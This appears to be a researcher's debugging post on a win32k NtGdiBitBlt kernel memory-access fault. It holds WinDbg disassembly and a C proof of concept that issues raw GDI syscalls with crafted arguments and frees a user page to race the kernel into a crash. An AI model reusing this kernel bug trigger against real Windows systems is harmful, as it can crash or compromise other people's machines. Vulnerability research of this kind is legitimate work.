Smap violation :error code 0x1, cs 0x8, VA 0xc10a7c, cr3 0x9a001c0, eip 0xbf8099c4, eflags 0x10282, TEB 0x7ffda000
kd> u 0xbf8099c4
win32k!NtGdiBitBlt+0x81:
bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]
bf8099ca 53              push    ebx
bf8099cb 8b5d14          mov     ebx,dword ptr [ebp+14h]
bf8099ce 57              push    edi
bf8099cf 8b7dfc          mov     edi,dword ptr [ebp-4]
bf8099d2 8b472c          mov     eax,dword ptr [edi+2Ch]
bf8099d5 8b906c010000    mov     edx,dword ptr [eax+16Ch]
bf8099db 33ca            xor     ecx,edx
kd> u win32k!NtGdiBitBlt L50
win32k!NtGdiBitBlt:
bf80996d 8bff            mov     edi,edi
bf80996f 55              push    ebp
bf809970 8bec            mov     ebp,esp
bf809972 83ec68          sub     esp,68h
bf809975 8365f800        and     dword ptr [ebp-8],0
bf809979 f6452b40        test    byte ptr [ebp+2Bh],40h
bf80997d 0f853efeffff    jne     win32k!NtGdiBitBlt+0x12 (bf8097c1)
bf809983 56              push    esi
bf809984 ff7508          push    dword ptr [ebp+8]
bf809987 8b7528          mov     esi,dword ptr [ebp+28h]
bf80998a 80652b7f        and     byte ptr [ebp+2Bh],7Fh
bf80998e 8d4dfc          lea     ecx,[ebp-4]
bf809991 e8dcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)
bf809996 8b45fc          mov     eax,dword ptr [ebp-4]
bf809999 85c0            test    eax,eax
bf80999b 0f84a6030000    je      win32k!NtGdiBitBlt+0x5ec (bf809d47)
bf8099a1 f6401980        test    byte ptr [eax+19h],80h
bf8099a5 0f859c030000    jne     win32k!NtGdiBitBlt+0x5ec (bf809d47)
bf8099ab ff751c          push    dword ptr [ebp+1Ch]
bf8099ae 8d4df0          lea     ecx,[ebp-10h]
bf8099b1 e8bcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)
bf8099b6 8b4df0          mov     ecx,dword ptr [ebp-10h]
bf8099b9 85c9            test    ecx,ecx
bf8099bb 0f847a030000    je      win32k!NtGdiBitBlt+0x5e0 (bf809d3b)
bf8099c1 8b492c          mov     ecx,dword ptr [ecx+2Ch]
bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]
bf8099ca 53              push    ebx
bf8099cb 8b5d14          mov     ebx,dword ptr [ebp+14h]
bf8099ce 57              push    edi
bf8099cf 8b7dfc          mov     edi,dword ptr [ebp-4]
bf8099d2 8b472c          mov     eax,dword ptr [edi+2Ch]
bf8099d5 8b906c010000    mov     edx,dword ptr [eax+16Ch]
bf8099db 33ca            xor     ecx,edx
bf8099dd f6c107          test    cl,7
bf8099e0 0f8551040000    jne     win32k!NtGdiBitBlt+0x9f (bf809e37)
bf8099e6 8365ec00        and     dword ptr [ebp-14h],0
bf8099ea 8b750c          mov     esi,dword ptr [ebp+0Ch]
bf8099ed bf04020000      mov     edi,204h
bf8099f2 57              push    edi
bf8099f3 8d45fc          lea     eax,[ebp-4]
bf8099f6 50              push    eax
bf8099f7 8d4dd8          lea     ecx,[ebp-28h]
bf8099fa e893aaffff      call    win32k!EXFORMOBJ::vQuickInit (bf804492)
bf8099ff 57              push    edi
bf809a00 8d45f0          lea     eax,[ebp-10h]
bf809a03 50              push    eax
bf809a04 8d4dcc          lea     ecx,[ebp-34h]
bf809a07 e886aaffff      call    win32k!EXFORMOBJ::vQuickInit (bf804492)
bf809a0c 8b45d8          mov     eax,dword ptr [ebp-28h]
bf809a0f f6403801        test    byte ptr [eax+38h],1
bf809a13 0f84fdfeffff    je      win32k!NtGdiBitBlt+0x599 (bf809916)
bf809a19 ff75cc          push    dword ptr [ebp-34h]
bf809a1c 8d4dd8          lea     ecx,[ebp-28h]
bf809a1f e8a6b3ffff      call    win32k!EXFORMOBJ::bEqualExceptTranslations (bf804dca)
bf809a24 85c0            test    eax,eax
bf809a26 0f84eafeffff    je      win32k!NtGdiBitBlt+0x599 (bf809916)
bf809a2c 8b4520          mov     eax,dword ptr [ebp+20h]
bf809a2f 8b4d24          mov     ecx,dword ptr [ebp+24h]
bf809a32 8b7d18          mov     edi,dword ptr [ebp+18h]
bf809a35 8945ac          mov     dword ptr [ebp-54h],eax
bf809a38 03c3            add     eax,ebx
bf809a3a 8945b4          mov     dword ptr [ebp-4Ch],eax
bf809a3d 8d0439          lea     eax,[ecx+edi]
bf809a40 8945b8          mov     dword ptr [ebp-48h],eax
bf809a43 8d45ac          lea     eax,[ebp-54h]
bf809a46 894db0          mov     dword ptr [ebp-50h],ecx
bf809a49 50              push    eax
bf809a4a 8d4dcc          lea     ecx,[ebp-34h]
bf809a4d e806acffff      call    win32k!EXFORMOBJ::bXform (bf804658)
bf809a52 8d4dac          lea     ecx,[ebp-54h]
bf809a55 e8b3aaffff      call    win32k!ERECTL::vOrder (bf80450d)
bf809a5a 8b4510          mov     eax,dword ptr [ebp+10h]
bf809a5d 8945c0          mov     dword ptr [ebp-40h],eax
bf809a60 03c7            add     eax,edi
bf809a62 8945c8          mov     dword ptr [ebp-38h],eax
bf809a65 8975bc          mov     dword ptr [ebp-44h],esi
bf809a68 8d45bc          lea     eax,[ebp-44h]
bf809a6b 03f3            add     esi,ebx
bf809a6d 50              push    eax
bf809a6e 8d4dd8          lea     ecx,[ebp-28h]
At win32k!NtGdiBitBlt+0x81:, it accesses user mode memory. I thought if I release that page, it will lead to a crash.
I use a poc which calls syscall NtGdiBitBlt directly from user mode. It's a poc for another vulnerability on win7 x86, but anyway.
That's the code:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | /* * compile: * cl.exe bug474.cpp user32.lib gdi32.lib shell32.lib */ #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <time.h> #include <conio.h> HWND notepad(LPCSTR name) { char filename[1024], title[1024]; FILE *f=0x0; sprintf_s(filename, 1024, "%s.txt", name); DWORD rc = fopen_s(&f, filename, "w"); if(rc!=0) { printf("[-] failed to create temporary text file\n"); } fclose(f); HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW); if(inst < (HINSTANCE)33) { printf("[-] failed to start notepad\n"); } while(1) { sprintf_s(title, 1024, "%s - Notepad", name); HWND hwnd = FindWindowA(0x0, title); if(hwnd) { return hwnd; } sprintf_s(title, 1024, "%s.txt - Notepad", name); hwnd = FindWindowA(0x0, title); if(hwnd) { //printf("[-] failed to retrieve handle to notepad window\n"); //return 0x0; return hwnd; } } return 0x0; } __declspec(noinline) int __stdcall NtGdiSetLayout(HDC hdc, DWORD d0, DWORD d1) { __asm { push d1 push d0 push hdc push 0x0 mov eax, 0x1123 mov edx, 0x7ffe0300 call dword ptr [edx] add esp, 0x10 } } __declspec(noinline) int __stdcall NtGdiBitBlt(HDC hdc, DWORD dw1, DWORD dw2,DWORD dw3,DWORD dw4,HDC hdc2,DWORD dw6,DWORD dw7, DWORD dw8) { __asm { push dw8 push dw7 push dw6 push hdc2 push dw4 push dw3 push dw2 push dw1 push hdc push 0x0 mov eax, 0x100d //xp sp3 0x100d mov edx, 0x7ffe0300 call dword ptr [edx] add esp, 0x30 } } int _tmain(int argc, _TCHAR* argv[]) { HDC hdc1 = CreateDCA(0,"Microsoft XPS Document Writer", 0, 0); printf("[-] hdc1: %08x\n", hdc1); NtGdiSetLayout(hdc1, 0x6d, 0xc5abb63); HWND hwnd1 = notepad("test1"); printf("[-] hwnd1: %08x\n", hwnd1); HDC hdc2 = GetDC(hwnd1); printf("[-] hdc2: %08x\n", hdc2); _getch(); BOOL bResult = VirtualFree((LPVOID)0x1d90000, 0, MEM_RELEASE); if (FALSE == bResult) { printf("VirtualFree fail. %d\n", GetLastError()); } NtGdiBitBlt(hdc1, 0, 0xae, 0x4c, 0x1a, hdc2, 0xb2, 0x47, 0x330008); } | 
Set a conditional breakpoint, because explorer.exe has a lot of NtGdiBitBlt.
bp /p 815ec1f8 win32k!NtGdiBitBlt
After hit, step to
win32k!NtGdiBitBlt+0x81:
bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]
At this point, ecx points to somewhere above 0x1d90000, this is specific to each process and even each run I guess. But I run many times it's always located at page 0x1d90000. So I decided to release this page to trigger a crash.
It turned out, 0x1d90000 was not valid until NtGdiBitBlt, after step into it, it shows that first call to win32k!XDCOBJ::XDCOBJ allocated this range of memory.
bf809991 e8dcaaffff call win32k!XDCOBJ::XDCOBJ (bf804472)
So it became a race condition for a crash. Between XDCOBJ::XDCOBJ and "mov ecx,dword ptr [ecx+16Ch]", if the page is released, it will lead to a crash. That's my guess.
When I set 0x1d90000's pte to invalid. "mov ecx,dword ptr [ecx+16Ch]" this instruction actually passed, I used F10(step over) and windbg stops at the next instruction. That's weird because if someone caught this exception, it won't stop at the next instruction. After I let go of the windbg, VM(I run os in VMWare) runs for a few seconds and froze. I tested it twice to make sure it did freeze.
Could be something wrong with vm emulation.
